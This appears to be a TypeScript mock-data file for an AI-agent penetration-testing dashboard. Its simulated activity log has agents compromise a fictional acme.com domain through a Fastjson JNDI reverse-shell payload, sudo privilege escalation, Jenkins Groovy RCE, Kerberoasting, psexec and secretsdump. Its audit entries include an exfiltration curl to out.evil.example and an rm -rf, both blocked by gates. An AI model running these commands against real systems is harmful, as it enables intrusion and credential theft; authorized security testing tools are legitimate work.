summary: "Stand up a rogue JNDI/LDAP service and have shop call back to load and execute the payload; verify egress with dnslog first, then land a reverse shell.", }, { seq: 331, worker: "work#7", intent_id: "i7", ts: T("2026-07-25T15:15:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t7a", summary: "java -jar JNDIExploit.jar -i <vps> -l 1389 & # start the LDAP/HTTP rogue service", }, { seq: 332, worker: "work#7", intent_id: "i7", ts: T("2026-07-25T15:16:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "t7a", summary: "LDAP Server started on 1389, HTTP on 8180", detail: "The rogue service is ready.", }, { seq: 333, worker: "work#7", intent_id: "i7", ts: T("2026-07-25T15:20:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t7b", summary: 'curl -s -H \'Content-Type: application/json\' -d \'{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://<vps>:1389/Basic/ReverseShell/<vps>/4444","autoCommit":true}\' https://shop.acme.com/api/import', }, { seq: 334, worker: "work#7", intent_id: "i7", ts: T("2026-07-25T15:21:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "t7b", summary: "LDAP received the request → ReverseShell loaded → the nc listener got the connection", detail: "The payload triggered successfully.", }, { seq: 335, worker: "work#7", intent_id: "i7", ts: T("2026-07-25T15:24:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t7c", summary: "id; hostname -I # confirm identity and network segment inside the reverse shell", }, { seq: 336, worker: "work#7", intent_id: "i7", ts: T("2026-07-25T15:24:02Z"), kind: "tool_result", tool: "bash", tool_use_id: "t7c", summary: "uid=33(www-data) gid=33 groups=33\n10.0.20.15 10.10.10.15", detail: "www-data@dmz-web01, with a second NIC on 10.10.10.x — inside the DMZ and adjacent to the internal network.", }, { seq: 337, worker: "work#7", intent_id: "i7", ts: T("2026-07-25T15:30:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t7d", summary: "report_finding(Deserialization RCE, high)", }, { seq: 338, worker: "work#7", intent_id: "i7", ts: T("2026-07-25T15:40:00Z"), kind: "result", summary: "The deserialization RCE obtained a www-data reverse shell; goal 3's foothold is initially established.", input_tokens: 132000, output_tokens: 8600, cache_read_tokens: 90000, cache_write_tokens: 12000, }, // work#8 · i8 foothold privilege escalation (done) { seq: 340, worker: "work#8", intent_id: "i8", ts: T("2026-07-25T16:02:00Z"), kind: "thinking", summary: "www-data is limited; gather local information first to find escalation paths: sudo config, SUID, kernel version.", }, { seq: 341, worker: "work#8", intent_id: "i8", ts: T("2026-07-25T16:05:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t8a", summary: "sudo -n -l 2>/dev/null; find / -perm -4000 -type f 2>/dev/null | head", }, { seq: 342, worker: "work#8", intent_id: "i8", ts: T("2026-07-25T16:05:03Z"), kind: "tool_result", tool: "bash", tool_use_id: "t8a", summary: "User www-data may run: (ALL) NOPASSWD: /usr/bin/python3", detail: "python3 is in the sudo allowlist passwordless — direct escalation is possible.", }, { seq: 343, worker: "work#8", intent_id: "i8", ts: T("2026-07-25T16:10:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t8b", summary: "sudo python3 -c 'import os;os.setuid(0);os.system(\"id\")'", }, { seq: 344, worker: "work#8", intent_id: "i8", ts: T("2026-07-25T16:10:02Z"), kind: "tool_result", tool: "bash", tool_use_id: "t8b", summary: "uid=0(root) gid=0(root) groups=0(root)", detail: "Escalated to root.", }, { seq: 345, worker: "work#8", intent_id: "i8", ts: T("2026-07-25T16:14:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t8c", summary: "report_finding(Privilege Escalation, high)", }, { seq: 346, worker: "work#8", intent_id: "i8", ts: T("2026-07-25T16:20:00Z"), kind: "result", summary: "Local escalation to root complete and the foothold is solid; ready to pivot internally from it.", input_tokens: 74000, output_tokens: 4700, cache_read_tokens: 50000, cache_write_tokens: 7000, }, // work#9 · i9 internal host discovery (done) { seq: 350, worker: "work#9", intent_id: "i9", ts: T("2026-07-25T20:32:00Z"), kind: "thinking", summary: "The foothold connects directly to 10.10.10.0/24; use fscan/internal scanning for host and port discovery to pin down the domain controller and high-value hosts.", }, { seq: 351, worker: "work#9", intent_id: "i9", ts: T("2026-07-25T20:36:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t9a", summary: "./fscan -h 10.10.10.0/24 -np -nobr 2>&1 | tail -n 30", }, { seq: 352, worker: "work#9", intent_id: "i9", ts: T("2026-07-25T20:55:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "t9a", summary: "DC01(10.10.10.10) 88/389/445\nFS01(10.10.10.5) 445\nJENKINS(10.10.10.20) 8080", detail: "Pinned down the domain controller DC01, the file server FS01, and the internal Jenkins.", }, { seq: 353, worker: "work#9", intent_id: "i9", ts: T("2026-07-25T21:00:00Z"), kind: "result", summary: "Internal host discovery complete; 3 high-value targets entered the graph.", input_tokens: 82000, output_tokens: 5100, cache_read_tokens: 56000, cache_write_tokens: 8000, }, // work#10 · i10 internal credential reuse (running) { seq: 360, worker: "work#10", intent_id: "i10", ts: T("2026-07-26T03:42:00Z"), kind: "thinking", summary: "The leaked sa/Acme@2021 is a DB password, and password reuse is common in companies. Password-spray DC01/FS01/JENKINS.", }, { seq: 361, worker: "work#10", intent_id: "i10", ts: T("2026-07-26T03:44:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t10a", summary: "crackmapexec smb 10.10.10.5 10.10.10.10 -u sa -p 'Acme@2021'", }, { seq: 362, worker: "work#10", intent_id: "i10", ts: T("2026-07-26T03:44:10Z"), kind: "tool_result", tool: "bash", tool_use_id: "t10a", summary: "FS01 [+] acme.local\\sa:Acme@2021 (Pwn3d!)\nDC01 [-] authentication failed", detail: "The sa password was reused successfully on FS01 with admin privileges; DC01 did not work.", }, { seq: 363, worker: "work#10", intent_id: "i10", ts: T("2026-07-26T03:50:00Z"), kind: "thinking", summary: "FS01 is taken; enumerating shared directories for more credentials and sensitive files...", }, // work#11 · i11 unauthenticated Jenkins RCE (done) { seq: 370, worker: "work#11", intent_id: "i11", ts: T("2026-07-25T21:32:00Z"), kind: "thinking", summary: "JENKINS 8080 is directly reachable; check whether the /script console requires authentication first.", }, { seq: 371, worker: "work#11", intent_id: "i11", ts: T("2026-07-25T21:35:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t11a", summary: "curl -s http://10.10.10.20:8080/script -o /dev/null -w '%{http_code}'", }, { seq: 372, worker: "work#11", intent_id: "i11", ts: T("2026-07-25T21:35:02Z"), kind: "tool_result", tool: "bash", tool_use_id: "t11a", summary: "200", detail: "The Script Console is accessible without login.", }, { seq: 373, worker: "work#11", intent_id: "i11", ts: T("2026-07-25T21:40:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t11b", summary: "curl -s -d 'script=println+\"whoami\".execute().text' http://10.10.10.20:8080/scriptText", }, { seq: 374, worker: "work#11", intent_id: "i11", ts: T("2026-07-25T21:40:03Z"), kind: "tool_result", tool: "bash", tool_use_id: "t11b", summary: "nt authority\\system", detail: "Groovy executes as SYSTEM.", }, { seq: 375, worker: "work#11", intent_id: "i11", ts: T("2026-07-25T21:44:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t11c", summary: "curl -s -d 'script=...' http://10.10.10.20:8080/scriptText # export the Jenkins credentials store", }, { seq: 376, worker: "work#11", intent_id: "i11", ts: T("2026-07-25T21:45:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "t11c", summary: "acme\\svc_deploy : Deploy@Acme2024\nacme\\svc_build : Build#2023!", detail: "Two domain service account plaintext passwords exported.", }, { seq: 377, worker: "work#11", intent_id: "i11", ts: T("2026-07-25T21:48:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t11d", summary: "report_finding(Unauthenticated RCE, high)", }, { seq: 378, worker: "work#11", intent_id: "i11", ts: T("2026-07-25T21:50:00Z"), kind: "result", summary: "Unauthenticated Jenkins RCE confirmed, with two domain service account credentials exported.", input_tokens: 96000, output_tokens: 6200, cache_read_tokens: 64000, cache_write_tokens: 9500, }, // work#12 · i12 Kerberoasting (done) { seq: 380, worker: "work#12", intent_id: "i12", ts: T("2026-07-25T22:42:00Z"), kind: "thinking", summary: "Authenticate to the domain with the svc_deploy credentials, then GetUserSPNs requests TGS for Kerberoastable service accounts.", }, { seq: 381, worker: "work#12", intent_id: "i12", ts: T("2026-07-25T22:50:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t12a", summary: "impacket-GetUserSPNs acme.local/svc_deploy:'Deploy@Acme2024' -dc-ip 10.10.10.10 -request", }, { seq: 382, worker: "work#12", intent_id: "i12", ts: T("2026-07-25T22:52:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "t12a", summary: "svc_sql MSSQLSvc/db01.acme.local:1433 $krb5tgs$23$*svc_sql$...", detail: "Obtained svc_sql's TGS ticket (Kerberos RC4).", }, { seq: 383, worker: "work#12", intent_id: "i12", ts: T("2026-07-25T23:10:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t12b", summary: "hashcat -m 13100 tgs.hash rockyou.txt --force", }, { seq: 384, worker: "work#12", intent_id: "i12", ts: T("2026-07-25T23:18:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "t12b", summary: "$krb5tgs$23$*svc_sql$...:Sql@2020", detail: "Cracked the password Sql@2020 in 8 minutes.", }, { seq: 385, worker: "work#12", intent_id: "i12", ts: T("2026-07-25T23:19:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t12c", summary: "report_finding(Kerberoasting, high)", }, { seq: 386, worker: "work#12", intent_id: "i12", ts: T("2026-07-25T23:20:00Z"), kind: "result", summary: "Kerberoasting cracked svc_sql's password; entered the graph for use against the domain controller.", input_tokens: 108000, output_tokens: 6800, cache_read_tokens: 72000, cache_write_tokens: 10000, }, // work#13 · i13 taking the domain controller DC01 (done, proves g4) { seq: 390, worker: "work#13", intent_id: "i13", ts: T("2026-07-25T23:52:00Z"), kind: "thinking", summary: "svc_deploy came from the Jenkins credentials store; check group membership first — if it is in Domain Admins, psexec to DC01 directly.", }, { seq: 391, worker: "work#13", intent_id: "i13", ts: T("2026-07-25T23:55:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t13a", summary: "net rpc group members 'Domain Admins' -U 'acme.local/svc_deploy%Deploy@Acme2024' -S 10.10.10.10", }, { seq: 392, worker: "work#13", intent_id: "i13", ts: T("2026-07-25T23:55:05Z"), kind: "tool_result", tool: "bash", tool_use_id: "t13a", summary: "ACME\\Administrator\nACME\\svc_deploy", detail: "svc_deploy is a member of Domain Admins.", }, { seq: 393, worker: "work#13", intent_id: "i13", ts: T("2026-07-26T00:00:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t13b", summary: "impacket-psexec acme.local/svc_deploy:'Deploy@Acme2024'@10.10.10.10", }, { seq: 394, worker: "work#13", intent_id: "i13", ts: T("2026-07-26T00:00:10Z"), kind: "tool_result", tool: "bash", tool_use_id: "t13b", summary: "C:\\Windows\\system32> whoami\nnt authority\\system", detail: "Logged into the domain controller DC01 as SYSTEM.", }, { seq: 395, worker: "work#13", intent_id: "i13", ts: T("2026-07-26T00:05:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t13c", summary: "impacket-secretsdump acme.local/svc_deploy:'Deploy@Acme2024'@10.10.10.10 -just-dc", }, { seq: 396, worker: "work#13", intent_id: "i13", ts: T("2026-07-26T00:10:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "t13c", summary: "Administrator:500:aad3b435...::: krbtgt:502:aad3b435...:::", detail: "All domain NTLM hashes exported (including krbtgt); golden tickets can be crafted for persistent control.", }, { seq: 397, worker: "work#13", intent_id: "i13", ts: T("2026-07-26T00:15:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t13d", summary: "report_finding(Domain Compromise, high)", }, { seq: 398, worker: "work#13", intent_id: "i13", ts: T("2026-07-26T00:20:00Z"), kind: "result", summary: "Domain controller DC01 taken; secretsdump exported all domain hashes; the target is met.", input_tokens: 144000, output_tokens: 9200, cache_read_tokens: 96000, cache_write_tokens: 14000, }, // Main agent (human-in-the-loop conversations) { seq: 70, worker: "mainagent", ts: T("2026-07-26T03:18:00Z"), kind: "user", summary: "Where should we start on the admin console?" }, { seq: 71, worker: "mainagent", ts: T("2026-07-26T03:18:06Z"), kind: "text", summary: "admin.acme.com is an Element-UI admin console with no captcha and no rate limit. I suggest the default credential list (admin/admin123) first, then dictionaries. I have injected a high-priority intent for the work agent.", }, { seq: 72, worker: "mainagent", ts: T("2026-07-26T03:52:00Z"), kind: "user", summary: "Got the admin console; what's the focus next?" }, { seq: 73, worker: "mainagent", ts: T("2026-07-26T03:52:08Z"), kind: "text", summary: "Goal 2 is reading user sensitive data: advance 'admin user API enumeration' and 'API IDOR' in parallel. Note that bulk exports trigger interception rules and need your approval to allow.", }, { seq: 400, worker: "mainagent", ts: T("2026-07-25T15:42:00Z"), kind: "user", summary: "Got the shell; how do we proceed?", }, { seq: 401, worker: "mainagent", ts: T("2026-07-25T15:42:10Z"), kind: "text", summary: "www-data is not enough; escalate first (sudo -l looks promising). After root, use the DMZ as a springboard for internal discovery, prioritizing the domain controller and Jenkins.", }, { seq: 402, worker: "mainagent", ts: T("2026-07-25T21:22:00Z"), kind: "user", summary: "Internal scan done; that Jenkins box looks unauthenticated?", }, { seq: 403, worker: "mainagent", ts: T("2026-07-25T21:22:08Z"), kind: "text", summary: "Yes, /script is unauthenticated and gives direct Groovy RCE. I have injected a hint for the worker to hit Jenkins first — once taken, domain credentials can be exported and combined with Kerberoasting against the domain controller.", }, { seq: 404, worker: "mainagent", ts: T("2026-07-26T00:22:00Z"), kind: "user", summary: "DC01 taken? Give me a summary." }, { seq: 405, worker: "mainagent", ts: T("2026-07-26T00:22:12Z"), kind: "text", summary: "Confirmed taken. Attack path: shop Fastjson RCE → DMZ escalation → internal Jenkins exported domain credentials → svc_deploy is in Domain Admins → psexec DC01 SYSTEM → secretsdump all domain hashes. All four goals met or in progress.", }, ]; export function activityForTask(): Activity[] { return activity; } // ── Token stats ────────────────────────────────────────────────────────────── export const tokenWorkers: TokenUsage[] = [ { worker: "planner", input_tokens: 320000, output_tokens: 24000, cache_read_tokens: 210000, cache_write_tokens: 33000, }, { worker: "work#1", input_tokens: 288000, output_tokens: 21000, cache_read_tokens: 190000, cache_write_tokens: 28000, }, { worker: "work#2", input_tokens: 402000, output_tokens: 31000, cache_read_tokens: 280000, cache_write_tokens: 41000, }, { worker: "work#3", input_tokens: 274500, output_tokens: 20320, cache_read_tokens: 210400, cache_write_tokens: 30000, }, { worker: "workG", input_tokens: 88000, output_tokens: 5200, cache_read_tokens: 60000, cache_write_tokens: 8000 }, { worker: "work#6", input_tokens: 64000, output_tokens: 4100, cache_read_tokens: 42000, cache_write_tokens: 6000 }, { worker: "work#7", input_tokens: 132000, output_tokens: 8600, cache_read_tokens: 90000, cache_write_tokens: 12000 }, { worker: "work#8", input_tokens: 74000, output_tokens: 4700, cache_read_tokens: 50000, cache_write_tokens: 7000 }, { worker: "work#9", input_tokens: 82000, output_tokens: 5100, cache_read_tokens: 56000, cache_write_tokens: 8000 }, { worker: "work#10", input_tokens: 46000, output_tokens: 3200, cache_read_tokens: 30000, cache_write_tokens: 4500 }, { worker: "work#11", input_tokens: 96000, output_tokens: 6200, cache_read_tokens: 64000, cache_write_tokens: 9500 }, { worker: "work#12", input_tokens: 108000, output_tokens: 6800, cache_read_tokens: 72000, cache_write_tokens: 10000 }, { worker: "work#13", input_tokens: 144000, output_tokens: 9200, cache_read_tokens: 96000, cache_write_tokens: 14000 }, ]; // Mirrors TokenStatsBySession: completed usage is keyed by the stable UI session // (main | plan | intent:<id>) instead of the reusable work#N executor name. export const tokenSessions: SessionTokenUsage[] = (() => { const totals = new Map<string, SessionTokenUsage>(); for (const item of activity) { if (item.kind !== "result") continue; let session = ""; if (item.worker === "mainagent") session = "main"; else if (item.worker === "planner") session = "plan"; else if (item.intent_id) session = `intent:${item.intent_id}`; if (!session) continue; const current = totals.get(session) ?? { session, input_tokens: 0, output_tokens: 0, cache_read_tokens: 0, cache_write_tokens: 0, }; current.input_tokens += item.input_tokens ?? 0; current.output_tokens += item.output_tokens ?? 0; current.cache_read_tokens += item.cache_read_tokens ?? 0; current.cache_write_tokens += item.cache_write_tokens ?? 0; totals.set(session, current); } return [...totals.values()]; })(); export const tokenTotal: TokenTotal = grandTotal; export const dailyTokens: DailyTokenBucket[] = Array.from({ length: 30 }, (_, i) => { const d = new Date("2026-07-26T00:00:00Z"); d.setUTCDate(d.getUTCDate() - (29 - i)); const wave = 40000 + Math.round(30000 * Math.abs(Math.sin(i / 3))); return { date: d.toISOString().slice(0, 10), input_tokens: wave, output_tokens: Math.round(wave * 0.08), cache_read_tokens: Math.round(wave * 0.7), cache_write_tokens: Math.round(wave * 0.12), }; }); export const convTokens: ConvTokenSummary[] = [ { llm_profile_id: 1, created_at: T("2026-07-25T10:00:00Z"), input_tokens: 42000, output_tokens: 3800, cache_read_tokens: 26000, cache_write_tokens: 5200, }, { llm_profile_id: 2, created_at: T("2026-07-24T16:00:00Z"), input_tokens: 18000, output_tokens: 1600, cache_read_tokens: 9000, cache_write_tokens: 2100, }, ]; // ── Traffic ────────────────────────────────────────────────────────────────── const exchanges = [ ["x-1", "www.acme.com", "GET", "https://www.acme.com/", 200, "text/html", 48213], ["x-2", "www.acme.com", "GET", "https://www.acme.com/search?q=test", 200, "text/html", 5120], ["x-3", "www.acme.com", "GET", "https://www.acme.com/.git/HEAD", 200, "text/plain", 23], ["x-4", "admin.acme.com", "GET", "https://admin.acme.com/login", 200, "text/html", 12044], ["x-5", "admin.acme.com", "POST", "https://admin.acme.com/login", 302, "text/html", 0], ["x-6", "admin.acme.com", "GET", "https://admin.acme.com/dashboard", 200, "text/html", 33120], ["x-7", "admin.acme.com", "GET", "https://admin.acme.com/api/users?page=1", 200, "application/json", 8842], ["x-8", "api.acme.com", "GET", "https://api.acme.com/v1/orders?id=1001", 200, "application/json", 640], ["x-9", "api.acme.com", "GET", "https://api.acme.com/v1/orders?id=1002", 200, "application/json", 655], ["x-10", "api.acme.com", "GET", "https://api.acme.com/v1/users/me", 200, "application/json", 312], ["x-11", "api.acme.com", "GET", "https://api.acme.com/v1/admin", 401, "application/json", 45], ["x-12", "shop.acme.com", "GET", "https://shop.acme.com/checkout", 200, "text/html", 21990], ["x-13", "shop.acme.com", "POST", "https://shop.acme.com/pay", 200, "application/json", 128], ["x-14", "www.acme.com", "GET", "https://www.acme.com/robots.txt", 200, "text/plain", 88], ["x-15", "shop.acme.com", "POST", "https://shop.acme.com/api/import", 500, "application/json", 2048], ["x-16", "shop.acme.com", "POST", "https://shop.acme.com/api/import", 200, "application/json", 0], ["x-17", "10.10.10.20", "GET", "http://10.10.10.20:8080/script", 200, "text/html", 14200], ["x-18", "10.10.10.20", "POST", "http://10.10.10.20:8080/scriptText", 200, "text/plain", 86], ["x-19", "10.10.10.10", "POST", "https://10.10.10.10:445/psexec", 200, "application/octet-stream", 0], ] as const; export const traffic: TrafficResp = { enabled: true, proxy: ":8788", count: exchanges.length, total: exchanges.length, page: 0, size: 100, exchanges: exchanges.map(([id, host, method, url, status, ct, len], i) => ({ id, host, method, url, status, content_type: ct, resp_len: len, ts: T(`2026-07-26T0${1 + (i % 3)}:${String(10 + i).padStart(2, "0")}:00Z`), })), }; // Distinct hosts with counts, derived from the exchanges above (target picker). const hostCounts: Record<string, number> = {}; for (const [, host] of exchanges) hostCounts[host] = (hostCounts[host] ?? 0) + 1; export const trafficHosts: TrafficHost[] = Object.entries(hostCounts).map(([host, count]) => ({ host, count })); export const trafficDetail: TrafficDetail = { req: `GET /v1/orders?id=1002 HTTP/1.1 Host: api.acme.com Authorization: Bearer eyJhbGciOiJIUzI1NiJ9... User-Agent: ARTEX-worker/1.0 Accept: application/json `, resp: `HTTP/1.1 200 OK Content-Type: application/json Content-Length: 655 { "order_id": 1002, "user_id": 77, "amount": 1299.00, "address": "Chaoyang, Beijing ****", "phone": "138****6021", "items": [{ "sku": "A-100", "qty": 1 }] }`, }; // ── Security / Audit ───────────────────────────────────────────────────────── export const audit: Audit = { attributions: { allow: 312, block: 9 }, entries: [ { ts: T("2026-07-26T03:33:00Z"), tool: "bash", action: "allow", command: "curl -s -d 'username=admin...' https://admin.acme.com/login", }, { ts: T("2026-07-26T03:57:00Z"), tool: "bash", action: "allow", command: "curl -s -b 'session=...' https://admin.acme.com/api/users", }, { ts: T("2026-07-26T02:10:00Z"), tool: "bash", action: "block", reason: "Out of scope: out.evil.example is not in scope", command: "curl https://out.evil.example/exfil", }, { ts: T("2026-07-25T22:03:00Z"), tool: "bash", action: "allow", command: "sqlmap -u 'https://www.acme.com/search?q=1' --batch", }, { ts: T("2026-07-25T21:00:00Z"), tool: "bash", action: "block", reason: "Destructive command gate: rm -rf was denied", command: "rm -rf /var/www", }, { ts: T("2026-07-25T20:30:00Z"), tool: "bash", action: "allow", command: "git-dumper https://www.acme.com/.git/ /tmp/acme", }, { ts: T("2026-07-25T15:20:00Z"), tool: "bash", action: "allow", command: "curl -s -H 'Content-Type: application/json' -d '{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"...}' https://shop.acme.com/api/import", }, { ts: T("2026-07-25T21:40:00Z"), tool: "bash", action: "allow", command: "curl -s -d 'script=println+\"whoami\"...' http://10.10.10.20:8080/scriptText", }, { ts: T("2026-07-26T00:00:00Z"), tool: "bash", action: "allow", command: "impacket-psexec acme.local/svc_deploy@10.10.10.10", }, { ts: T("2026-07-26T00:05:00Z"), tool: "bash", action: "block", reason: "Data exfiltration gate: secretsdump requires manual approval", command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc", }, { ts: T("2026-07-26T00:06:00Z"), tool: "bash", action: "allow", command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc # approved and allowed", }, ], }; // ── LLM profiles ───────────────────────────────────────────────────────────── export const llmProfiles: LLMProfile[] = [ { id: "1", name: "Claude Opus 4.8", format: "anthropic", model: "claude-opus-4-8", api_key_hint: "…a3f2", rate_per_second: 0, rate_per_minute: 0, context_window_k: 1000, thinking_type: "enabled", reasoning_effort: "high", is_default: true, priority: 0, pool_exclude: false, // anthropic's field names are fixed, so max_tokens_field is always empty. max_tokens: 0, max_tokens_field: "", }, { id: "2", name: "DeepSeek V4", format: "openai", base_url: "https://api.deepseek.com", model: "deepseek-v4-flash", api_key_hint: "…9c11", rate_per_second: 0, rate_per_minute: 60, context_window_k: 128, thinking_type: "", reasoning_effort: "", is_default: false, priority: 10, pool_exclude: false, // openai format + reasoning models: the limit goes through max_completion_tokens. max_tokens: 8192, max_tokens_field: "max_completion_tokens", }, ]; export const llmConfig = { configured: true, provider: "anthropic", model: "claude-opus-4-8", base_url: "", proxy: "", key_set: true, rate_per_second: 0, rate_per_minute: 0, context_window_k: 1000, thinking_type: "enabled", reasoning_effort: "high", }; // ── Agents ─────────────────────────────────────────────────────────────────── export const agents: Agent[] = [ { id: "1001", key: "retester", name: "Finding retest", role: "assistant", builtin: false, enabled: true, description: "Started manually from the finding detail; saves an independent retest conclusion", max_turns: 0, mcp_count: 0, skill_count: 0, tool_count: 2, }, { id: "1", key: "goals", name: "Goal decomposer", role: "goals", builtin: true, enabled: true, description: "Decomposes task goals into explorable sub-goals", max_turns: 8, mcp_count: 0, skill_count: 1, tool_count: 3, }, { id: "2", key: "planner", name: "Planner", role: "planner", builtin: true, enabled: true, description: "Reads exploration routes, judges goal completion, generates intents", max_turns: 0, mcp_count: 1, skill_count: 2, tool_count: 9, }, { id: "3", key: "mainagent", name: "Main agent", role: "mainagent", builtin: true, enabled: true, description: "Human-in-the-loop conversations; injects hints / high-priority intents", max_turns: 0, web_search: true, mcp_count: 2, skill_count: 3, tool_count: 11, }, { id: "4", key: "worker", name: "Work Agent", role: "worker", builtin: true, enabled: true, description: "Claims intents → runs Kali tools → writes back to the graph", max_turns: 40, run_seconds: 1800, web_search: false, interactive_shell: true, mcp_count: 2, skill_count: 3, tool_count: 14, }, { id: "5", key: "recon-bot", name: "Recon bot (custom)", role: "custom", builtin: false, enabled: true, description: "Periodically runs passive reconnaissance on new assets", max_turns: 12, mcp_count: 1, skill_count: 1, tool_count: 4, }, ]; const promptVars: PromptVar[] = [ { name: "Goal", description: "Current task goal", example: "Gain admin access to acme.com", source: "runtime" }, { name: "AssetSummary", description: "Asset graph overview", example: "6 subdomains / 3 IPs / 4 apps / 4 endpoints", source: "distilled" }, { name: "RouteHint", description: "Exploration route hints", example: "Prioritize the admin and API authorization bypass surfaces", source: "exploration" }, ]; const promptVersions: PromptVersion[] = [ { version: 3, ts: T("2026-07-25T10:00:00Z"), note: "Strengthen authorization bypass probing guidance", template_text: "You are the ARTEX planner..." }, { version: 2, ts: T("2026-07-20T10:00:00Z"), note: "Initial minor tuning", template_text: "You are the ARTEX planner (v2)..." }, ]; export function agentDetail(key: string): AgentDetail { const a = agents.find((x) => x.key === key) ?? agents[1]; return { agent: a, prompt: `You are the ARTEX "${a.name}".\nGoal: {{.Goal}}\nAsset overview: {{.AssetSummary}}\nRoute hint: {{.RouteHint}}\nProceed with the exploration based on the above and write the results back to the graph via tools.`, variables: promptVars, versions: promptVersions, visibility: { mcp: [1, 2], skill: ["api-recon", "playwright-cli"] }, wrapup_prompt: "", wrapup_default: "Time/steps are running out; summarize the confirmed findings and mark intent final states.", wrapup_max_turns: 0, wrapup_max_turns_default: 3, task_timeout_wrapup_supported: a.key === "worker" || a.key === "planner", task_timeout_wrapup_default: "Task timed out; wrap up immediately and persist the current conclusions.", task_timeout_wrapup_max_turns_default: 2, }; } // ── MCP ────────────────────────────────────────────────────────────────────── export const mcpServers: MCPServer[] = [ { id: 1, name: "shodan", transport: "http", url: "https://mcp.shodan.io/sse", args: [], env: {}, enabled: true, tools: ["host_info", "search", "dns_resolve"], }, { id: 2, name: "playwright", transport: "stdio", command: "npx", args: ["-y", "@playwright/mcp"], env: {}, enabled: true, tools: ["browser_navigate", "browser_click", "browser_snapshot"], }, ]; export const mcpToolsById: Record<number, MCPTool[]> = { 1: [ { name: "host_info", description: "Query Shodan host info for an IP" }, { name: "search", description: "Shodan search" }, { name: "dns_resolve", description: "DNS resolution" }, ], 2: [ { name: "browser_navigate", description: "Open a URL in the browser" }, { name: "browser_click", description: "Click an element" }, { name: "browser_snapshot", description: "Capture an accessibility snapshot" }, ], }; // ── Skills ─────────────────────────────────────────────────────────────────── export const skills: SkillItem[] = [ { name: "api-recon", description: "Reconnaissance and authorization bypass surface enumeration on REST/GraphQL APIs; use when new API endpoints are discovered.", license: "MIT", mcps: [], files: ["SKILL.md", "scripts/enum.py"], calls: 24, tasks: 6, usage_agents: ["worker", "planner"], last_used: "2026-08-20T09:12:00Z", }, { name: "playwright-cli", description: "Drives a browser with Playwright for dynamic crawling and screenshots; use when JS-rendered sites need rendering.", mcps: ["playwright"], files: ["SKILL.md"], calls: 7, tasks: 3, usage_agents: ["worker"], last_used: "2026-08-19T21:40:00Z", }, { name: "scopesentry", description: "Pulls assets from ScopeSentry and merges them into the company scope; use when importing assets in bulk.", files: ["SKILL.md", "assets/mapping.md"], calls: 0, tasks: 0, usage_agents: [], }, ]; export const skillCalls: SkillCall[] = [ { ts: "2026-08-20T09:12:00Z", agent_key: "worker", task_id: 42, session_id: "", args_len: 128 }, { ts: "2026-08-20T08:03:00Z", agent_key: "planner", task_id: 42, session_id: "", args_len: 0 }, { ts: "2026-08-19T17:55:00Z", agent_key: "worker", task_id: 37, session_id: "", args_len: 64 }, ]; export const missingSkills: MissingSkill[] = [ { skill: "jwt-forge", calls: 3, agents: ["worker"], last_used: "2026-08-20T07:20:00Z" }, ]; // ── Tools ──────────────────────────────────────────────────────────────────── export const tools: Tool[] = [ { key: "bash", system: true, description: "Runs shell commands in the Kali environment (subject to scope/destructive gates)", schema: { type: "object", properties: { command: { type: "string" } }, required: ["command"] }, agents: ["worker", "mainagent"], enabled: true, kind: "builtin", calls: 1842, }, { key: "report_finding", system: true, description: "Reports a security finding and links it to related nodes", schema: { type: "object", properties: { vulnclass: { type: "string" }, severity: { type: "string" }, summary: { type: "string" }, evidence: { type: "string" }, }, required: ["vulnclass", "severity", "summary"], }, agents: ["worker"], enabled: true, kind: "builtin", calls: 96, }, { key: "upsert_asset", system: true, description: "Writes/updates asset nodes", schema: { type: "object", properties: { type: { type: "string" }, value: { type: "string" } } }, agents: ["worker"], enabled: true, kind: "builtin", calls: 417, }, { key: "list_goals", system: true, description: "Lists the current task's goals and completion status", schema: { type: "object", properties: {} }, agents: ["planner"], enabled: true, kind: "builtin", calls: 238, }, { key: "nuclei_scan", system: false, description: "Custom: runs specified templates with nuclei", schema: { type: "object", properties: { target: { type: "string" }, template: { type: "string" } }, required: ["target"], }, agents: ["worker"], enabled: true, kind: "command", exec: { command: "nuclei", args: ["-u", "{{target}}"] }, calls: 31, }, ]; // ── Settings ───────────────────────────────────────────────────────────────── export const settings: Settings = { traffic_capture: true, agent_traffic_binding: false, llm_record: false, web_search_enabled: true, web_search_backend: "ddgs", brave_key_set: false, tavily_key_set: true, web_search_proxy: "", global_proxy: "", python_interpreter: "/usr/bin/python3", workers: 3, llm_pool_enabled: true, llm_pool_bind_fallback: false, noa_compaction: false, }; // ── LLM polling (failover)────────────────────────────────────────────────────── // Demo: the active configuration is fine; the standby was just circuit-broken due to insufficient balance and is cooling down. export const llmPool: LLMPoolStatus = { enabled: true, bind_fallback: false, chain: [ { profile_id: "1", name: "Claude Opus 4.8", model: "claude-opus-4-8", format: "anthropic", priority: 0, active: true, excluded: false, state: "ok", fails: 0, trips: 0, cooldown_secs: 0, }, { profile_id: "2", name: "DeepSeek V4", model: "deepseek-v4-flash", 